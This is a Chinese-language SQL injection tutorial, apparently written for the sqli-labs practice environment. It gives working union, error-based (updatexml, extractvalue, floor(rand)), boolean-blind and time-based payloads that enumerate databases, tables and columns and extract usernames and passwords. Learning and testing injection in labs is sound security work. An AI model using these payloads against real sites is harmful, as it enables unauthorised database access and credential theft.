mysql注入语句说明

'、"、")、')判断闭合
id=1 页面正常         id=1'页面不正常       id=1' --+   页面恢复正常说明闭合是'
id=1 页面正常         id=1'页面不正常      id=1' --+ 页面还是不正常说明闭合不是'  如果这时id=1"--+ 页面恢复正常 说明闭合是"
id=1' and 1=1
id=1' and 1=2
判断 Sql 注入漏洞的类型
and 1=1and 1=2是否存在注入  1=1正常    1=2不正常 说明可能存在数字型注入
均显示正常说明不是数字型注入
1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入

有显示位用联合查询注入
无显示位,有报错信息,用报错注入
无显示位,无数据库报错信息 ,数据库语句执行时没有结果和正常执行要有区别,用布尔盲注
无显示位,无数据库报错信息,数据库语句执行页面显示无区别,用延时注入

id=1' order by 3 --+
判断sql语句中一共返回了多少列  超过3报错 3显示正常,说明是3列  --+后面被注释掉
id=1' union select 1,2,3 --+
查看显示位   爆出显示位 可以联合注入   没爆出显示位不能联合注入 考虑报错注入
?id=-1' union select 1,2,database()--+
联合注入的方法,通过显示位3爆出数据库名      database()数据库名
?id=-1' union select database(),user(),version() --+ 
联合注入的方法,利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号 
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
联合注入的方法,查询所有的库名
group_concat() 函数:用于将SQL语句的结果拼接在一起,如果我们的查询结果多于一个就需要将这些结果拼接出来,大家可以试一试,如果这里不使用group函数会报错,提示输出结果多于一行
information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,information_schema数据库,用来存储数据库元信息,其中具有表schemata(数据库名),tables(表名),columns(列名或字段名)
在schemata表中,schema_name字段用来存储数据库名
在tables表中,table_schema和table_name分别用来存储数据库名和表名
在columns表中,table_schema(数据库名),table_name(表名),column_name(字段名) 
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
1’and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+
联合注入的方法,通过显示位2,显示所有查询到的表名(table_name),从(from) 记录所有表名信息的表里查,条件是(where)数据库名为security的里面查。
翻译成中文就是:从名为security的数据库里面查记录所有表名信息的表里的所有表名
select *(这里指表里的字段,*代表所有字段) from table(table是表名,就是你从哪张表里读取数据)
整个sql句就是select * from table
就是从table这张表取出所有字段的值
也可以在table后面加上条件语句where
比如
select * from table where id=‘01’
指从table表里找出所有字段id=01的数据的所有字段的值
1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+(不加and table_name='users’会显示所有表的列名,不利于查找我们想要的列名)
?id=0' union select 1,(select group_concat(password) from users),(select group_concat(password) from users)--+   爆密码
1’ and 1=2 union select 1,username,password from users limit 0,1–+(这里采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便我们查看相对应的用户名和密码,自己对比一下就知道了)
limit 0,1;
限定查询结果为第0条到第1条记录


ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径。
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
extractvalue(null, concat(0x7e, database()));    爆数据库名
extractvalue(1,concat(0x7e,(select @@version),0x7e))   爆数据库版本
先看一个通俗易懂的例子:
select updatexml(“abc”,"//div/p/text()","abcd")   的意思是把"abc"换成"abcd" ,而服务器要通过xpath路径"//div/p/text()"找到"abc"  。
这时如果xpath路径格式出错了,则会把校验xpath路径后的结果通过报错信息显示出来,如果我们把xpath路径改成我们想知道的信息,结果就会通过报错信息显示出来。
例如改成select updatexml(“abc”,concat(“~”,database()),"abcd")  就可以通过报错信息得到当前服务器使用数据库的名字。
concat()函数的作用是把“~”和database()执行后的结果拼接起来,使用concat()的目的是为了让xpath路径格式出错,因为xpath路径格式中没有“~”,出错后就会让语句执行后的结果通过报错显示出来。
在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。  ! 也是不支持的,因此也可以使用。
1’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+    爆出数据库
concat(0x7e,(SELECT database()),0x7e)      就是得出“~数据库名~”
updatexml(1,concat(0x7e,(select @@version),0x7e),1)        爆出数据库版本
id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema=‘security’),0x7e),1) --+   报错注入法,爆表
1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+  报错注入法,查询users表的列名
1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+    报错注入法,查询username
理解floor(rand(0)*2)函数
rand() 是一个随机函数,通过一个固定的随机数的种子0之后,可以形成固定的伪随机序列。
floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。
floor(rand(0)*2)就是对rand(0)产生的随机序列诚意2后的结果,再进行取整。
floor(): 去除小数部分
rand(): 产生随机数
rand(x): 每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的
select count(*),floor(rand(0)*2) x from users group by x;
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+    通过报错来显示数据库
?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+   通过报错来显示表名
?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+  爆出列名
?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+ 爆出用户名
?id=1' union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+  爆出密码

布尔盲注
以下是布尔盲注常用的函数:
length():获得字符串长度;
substr():截取指定字符串;
ascii():将字符转为ASCII码;
'and length(database())>10 - -+ 页面正常 说明长度>10,页面错误 说明长度<或=10
'and length(database())=8 - -+   页面正常 说明长度=8   ,页面错误说明不等于8
接下来就是逐个确定每个字符。数据库命名规范中要求库名必须由小写字母和下划线组成,下滑线不能作为开头字符。a-z对应ASCII码为:97-122,下划线ASCII码为:95。按照二分法的思想,先对比109.语句如下:
'and ascii(substr(database(),1,1))>109 - -+
页面返回正确,表明第一个字符ASCII码大于109不超过122……不断重复可确定第一个字符为s,剩下的字符处理方式同理。最终确定库名结果为sxx。
substr(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)
substr(database(),1,1)的意思是 取数据库名字符串 的第一个位置 的字符串长度为1的字符
ascii(substr(database(),1,1))意思是把substr()从database取出来的第一个位置 长度为1的字符 进行ascii编码
时间盲注
先去尝试id= 1’ or sleep(3) %23
如果这个时候直接服务器过了三秒才反应
那么就存在时间注入
IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2
expr1 的值为FALSE,则返回值为 expr3
id= 1’ or if(1,sleep(3),0) %23
如果条件正确就延迟三秒,如果错就返回0 (不延迟) 

?id=1' and if(length(database())>8,sleep(2),0) --+
判断数据库名长度
当猜测正确时页面会立即刷新并返回正确,猜测错误则延时2s并返回错误
爆破数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
如果第一个库名字符ascii为115,当猜测正确时页面会立即刷新并返回正确,猜测错误则延时10s并返回错误
爆破表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
当猜测正确时页面会立即刷新并返回正确,猜测错误则延时5s并返回错误
这里得到第一个表名称首字母为ascii码101
爆破内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值